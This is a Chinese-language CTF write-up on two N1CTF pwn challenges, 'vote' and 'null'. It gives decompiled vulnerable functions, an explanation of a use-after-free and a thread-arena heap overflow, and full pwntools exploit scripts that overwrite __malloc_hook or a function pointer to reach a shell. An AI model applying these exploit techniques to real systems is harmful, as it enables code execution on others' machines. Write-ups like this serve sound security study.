<
N1CTF的两道简单的pwn题
>
上一篇

starctf note
下一篇

linux kernel 爬坑记录

N1ctf pwn

补了一些以前做过的题目还有没解决的一些题目的wp

vote

void create()
{
  _QWORD *v0; // ST08_8
  signed int i; // [rsp+0h][rbp-20h]
  int size; // [rsp+4h][rbp-1Ch]

  for ( i = 0; i <= 15; ++i )
  {
    if ( !heaplst[i] )
    {
      say("Please enter the name's size: ");
      size = getnum();
      if ( size > 0 && size <= 0x1000 )
      {
        v0 = malloc(size + 0x10);
        *v0 = 0LL;                              // count
                                                // 
        v0[1] = time(0LL);
        say("Please enter the name: ");
        getinput((__int64)(v0 + 2), size);
        heaplst[i] = v0;
      }
      return;
    }
  }
}

创建结构体的时候fd和bk字段不可控

unsigned __int64 vote()
{
  time_t *v0; // rbx
  int v2; // [rsp+Ch][rbp-24h]
  pthread_t newthread; // [rsp+10h][rbp-20h]
  unsigned __int64 v4; // [rsp+18h][rbp-18h]

  v4 = __readfsqword(0x28u);
  say("Please enter the index: ");
  v2 = getnum();
  if ( v2 >= 0 && v2 <= 15 && heaplst[v2] )
  {
    ++*(_QWORD *)heaplst[v2];
    v0 = (time_t *)((char *)heaplst[v2] + 8);
    *v0 = time(0LL);
    last_remainder = v2;
    pthread_create(&newthread, 0LL, (void *(*)(void *))start_routine, 0LL);// update chout_lst
                                                // 
  }
  return __readfsqword(0x28u) ^ v4;

vote可以改变fd字段

void cancel()
{
  int idx; // [rsp+Ch][rbp-4h]

  say("Please enter the index: ");
  idx = getnum();
  if ( idx >= 0 && idx <= 15 && heaplst[idx] )
  {
    if ( --vote_count[idx] == --*(_QWORD *)heaplst[idx] )
    {
      if ( vote_count[idx] < 0 )
        free(heaplst[idx]);                     // uaf
    }
    else if ( vote_count[idx] < 0 )
    {
      printf("%s", (char *)heaplst[last_remainder] + 16);
      fflush(stdout);
      say_line(" has freed");
      free(heaplst[idx]);
      heaplst[idx] = 0LL;
    }
  }
}

明显的uaf

刚开始一看到uaf、可以泄露地址、输入大小没限制就感觉稳了,后来发现fd和bk字段不可控,本来想这直接暴力的把malloc_hook字段直接用vote写到fd里面去,后来发现好像有点太暴力了,而且时间太长远程应该跑不出来,于是换了个思路,直接在原来堆块name里边伪造一个堆块,然后free掉两个0x70大小的堆块,将第一个的fd指针指向伪造的堆块上,之后就可以愉快的改写malloc_hook了

exp:

from pwn import *
context.log_level = 'debug'

libc = ELF('libc-2.23.so')
io = process('./vote',env={'LD_PRELOAD':libc.path})
def p():
	gdb.attach(io)
	raw_input()
def choice(c):
	io.recvuntil('Action:')
	io.sendline(str(c))
def create(size,name):
	choice(0)
	io.recvuntil('size:')
	io.sendline(str(size))
	io.recvuntil('name:')
	io.sendline(name)
def show(idx):
	choice(1)
	io.recvuntil('index:')
	io.sendline(str(idx))
def vote(idx):
	choice(2)
	io.recvuntil('index:')
	io.sendline(str(idx))
def cancel(idx):
	choice(4)
	io.recvuntil('index:')
	io.sendline(str(idx))
def result():
	choice(3)

create(0x70,'A'*0x70)#0
create(0x30,'B'*0x30)#1
cancel(0)
show(0)
io.recvuntil('count: ')
leak = int(io.recvline(keepends = False))
libc_base = leak - 0x10 - 0x58 - libc.symbols['__malloc_hook']
mlh = libc_base + libc.symbols['__malloc_hook']
one = libc_base + 0xf0274
log.success('base:' + hex(libc_base))
log.success('malloc_hook:' + hex(mlh))
log.success('one:' + hex(one))

payload = p64(0) + p64(0x70) + p64(mlh - 0x23)
create(0x70,'E'*0x70)#2
create(0x50,payload)#3
create(0x50,'X'*0x50)#4

cancel(3)
cancel(4)
for i in range(0x20):
	vote(4)
create(0x50,'C'*0x40)
create(0x50,'D'*0x40)
create(0x50,'A'*0x3 + p64(one)*2 )

choice(0)
io.recvuntil(':')
io.sendline(str(0x10))

io.interactive()

null

程序没开pie,自己给了一个system

漏洞点在于input函数:

size_t __fastcall getinput(__int64 ptr, size_t len)
{
  size_t result; // rax
  int v3; // [rsp+1Ch][rbp-14h]
  size_t i; // [rsp+20h][rbp-10h]

  for ( i = 0LL; ; i += v3 )
  {
    result = i;
    if ( i >= len )
      break;
    v3 = read(0, (void *)(ptr + i), len);
    if ( v3 <= 0 )
    {
      write(1, "I/O error\n", 0xAuLL);
      syscall_e7(1u);
    }
  }
  return result;
}

当输入长度小于len的时候会再次读入,这样就可以造成堆溢出

虽然说是堆的漏洞利用但是没有用到堆的漏洞利用技巧,主要的原因是因为这个程序主程序在线程上运行

if ( pthread_create(&newthread, 0LL, (void *(*)(void *))start_routine, 0LL) < 0 )

每次创建线程的堆由mmap分配内存

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
          0x400000           0x402000 r-xp     2000 0      /pwn/null/null
          0x601000           0x602000 r--p     1000 1000   /pwn/null/null
          0x602000           0x603000 rw-p     1000 2000   /pwn/null/null
         0x1b47000          0x1b68000 rw-p    21000 0      [heap]
    0x7ff02e755000     0x7ff02e756000 ---p     1000 0      
    0x7ff02e756000     0x7ff02ef56000 rw-p   800000 0    
    --------------------------------------------------------------------------------------------
    0x7ff02ef56000     0x7ff02f116000 r-xp   1c0000 0      /lib/x86_64-linux-gnu/libc-2.23.so
    0x7ff02f116000     0x7ff02f316000 ---p   200000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
    0x7ff02f316000     0x7ff02f31a000 r--p     4000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
    0x7ff02f31a000     0x7ff02f31c000 rw-p     2000 1c4000 /lib/x86_64-linux-gnu/libc-2.23.so
    0x7ff02f31c000     0x7ff02f320000 rw-p     4000 0      
    0x7ff02f326000     0x7ff02f33e000 r-xp    18000 0      /lib/x86_64-linux-gnu/libpthread-2.23.so
    0x7ff02f33e000     0x7ff02f53d000 ---p   1ff000 18000  /lib/x86_64-linux-gnu/libpthread-2.23.so
    0x7ff02f53d000     0x7ff02f53e000 r--p     1000 17000  /lib/x86_64-linux-gnu/libpthread-2.23.so
    0x7ff02f53e000     0x7ff02f53f000 rw-p     1000 18000  /lib/x86_64-linux-gnu/libpthread-2.23.so
    0x7ff02f53f000     0x7ff02f543000 rw-p     4000 0      
    0x7ff02f546000     0x7ff02f56c000 r-xp    26000 0      /lib/x86_64-linux-gnu/ld-2.23.so
    0x7ff02f768000     0x7ff02f76b000 rw-p     3000 0      
    0x7ff02f76b000     0x7ff02f76c000 r--p     1000 25000  /lib/x86_64-linux-gnu/ld-2.23.so
    0x7ff02f76c000     0x7ff02f76d000 rw-p     1000 26000  /lib/x86_64-linux-gnu/ld-2.23.so
    0x7ff02f76d000     0x7ff02f76f000 rw-p     2000 0      
    0x7ffc3ae99000     0x7ffc3aeba000 rw-p    21000 0      [stack]
    0x7ffc3af0e000     0x7ffc3af10000 r--p     2000 0      [vvar]
    0x7ffc3af10000     0x7ffc3af12000 r-xp     2000 0      [vdso]
0xffffffffff600000 0xffffffffff601000 r-xp     1000 0      [vsyscall]

首先会在分割线下边的区域分配那些空闲的内存块,耗尽后才会在上方heap的下方分配内存

这样我们可以将堆块分配到libc上边,然后通过堆溢出将libc中mainarena里的字段改写,这样可以改写一个地址的值,改写的地方是在bss段,那里存储了一个函数的指针,

 say_something = (__int64 (__fastcall *)(_QWORD, _QWORD))say;
ssize_t sub_400AF8()
{
  return write(1, "data neutralized\n", 0x11uLL);
}

把这个函数改成system,

write(1, "Content? (0/1): ", 0x10uLL);
          if ( getnum() )
          {
            write(1, "Input: ", 7uLL);
            getinput((__int64)ptr, size);
            say_something(ptr, size);
          }

这样调用的时候就是调用system(ptr)

exp

from pwn import *

io = process('./null')

def p():
	gdb.attach(io)
	raw_input()
def add (size,pad,content,f = False):
	io.recvuntil('Action:')
	io.sendline('1')
	io.recvuntil('Size:')
	io.sendline(str(size))
	io.recvuntil('blocks:')
	io.sendline(str(pad))
	if f:
		io.sendlineafter('(0/1): ',str(1))
		io.recvuntil('Input: ')
		io.send(content)
	else:
		io.sendlineafter('(0/1): ',str(0))

def main():
	io.recvline()
	io.sendline('i\'m ready for challenge' )
	for i in range(12):
		add(0x4000,1000, 'A'*0x4)
	add(0x4000,261,'A'*0x4)
	add(0x4000,0,'A'*(0x4000-10) + '\n\x00',f = True)
	p()
	raw_input()
	payload = 'S' * 40
	payload += p64(0) *2 + p64(0x3ffd000) * 2 \   
	+ p64(0x300000000) + p64(0x60201d) * 7 #魔术头7f
	io.sendline(payload)
	pay = '/bin/sh\x00\x00\x00\x00'+p64(0x400978)
	pay = pay.ljust(0x60,'\x00')
	p()
	add(0x60,0,pay,f = True)
	p()
	io.interactive()

if __name__ == '__main__':
	main()
Top
Foot